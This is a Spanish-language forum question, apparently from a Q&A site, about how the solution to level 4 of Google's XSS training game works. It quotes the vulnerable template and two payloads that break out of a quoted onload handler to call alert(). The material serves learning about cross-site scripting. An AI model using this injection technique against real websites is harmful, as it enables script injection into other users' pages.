ALERTA DE SPOILER: ¡Esta pregunta contiene una respuesta a uno de los problemas del XSS Challenge de Google ! Deja de seguir leyendo si no estás interesado en saber la respuesta ahora mismo.
Puedo pasar el nivel 4 del desafío , sin embargo, todavía no sé cómo exactamente el exploit está funcionando. El siguiente es el código del desafío XSS de Google, nivel 4:
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<script>
function startTimer(seconds) {
seconds = parseInt(seconds) || 3;
setTimeout(function() {
window.confirm("Time is up!");
window.history.back();
}, seconds * 1000);
}
</script>
</head>
<body id="level4">
<img src="/static/logos/level4.png" />
<br>
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
<br>
<div id="message">Your timer will execute in {{ timer }} seconds.</div>
</body>
</html>
Básicamente, están utilizando el marco de Django ( que utiliza un conjunto de medidas de seguridad contra XSS ). La variable timer
transporta la entrada del usuario. El objetivo de esta actividad es alertar a un mensaje mediante el envío de una carga útil que puede eludir la seguridad XSS de Django.
Puedo alertar un mensaje usando una de las siguientes cargas útiles:
');alert('xss
O
3') || alert('1
Puedo borrar el nivel utilizando las cargas útiles anteriores, pero aún no estoy seguro de dónde se está llamando exactamente el método alert (). ¿En el controlador onload
O dentro del método startTimer()
?
Estoy confundido porque si compruebo el código fuente de la página después de enviar la carga, Django está codificando la carga:
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<script>
function startTimer(seconds) {
seconds = parseInt(seconds) || 3;
setTimeout(function() {
window.confirm("Time is up!");
window.history.back();
}, seconds * 1000);
}
</script>
</head>
<body id="level4">
<img src="/static/logos/level4.png" />
<br>
<img src="/static/loading.gif" onload="startTimer('');alert('xss');" />
<br>
<div id="message">Your timer will execute in ');alert('xss seconds.</div>
</body>
</html>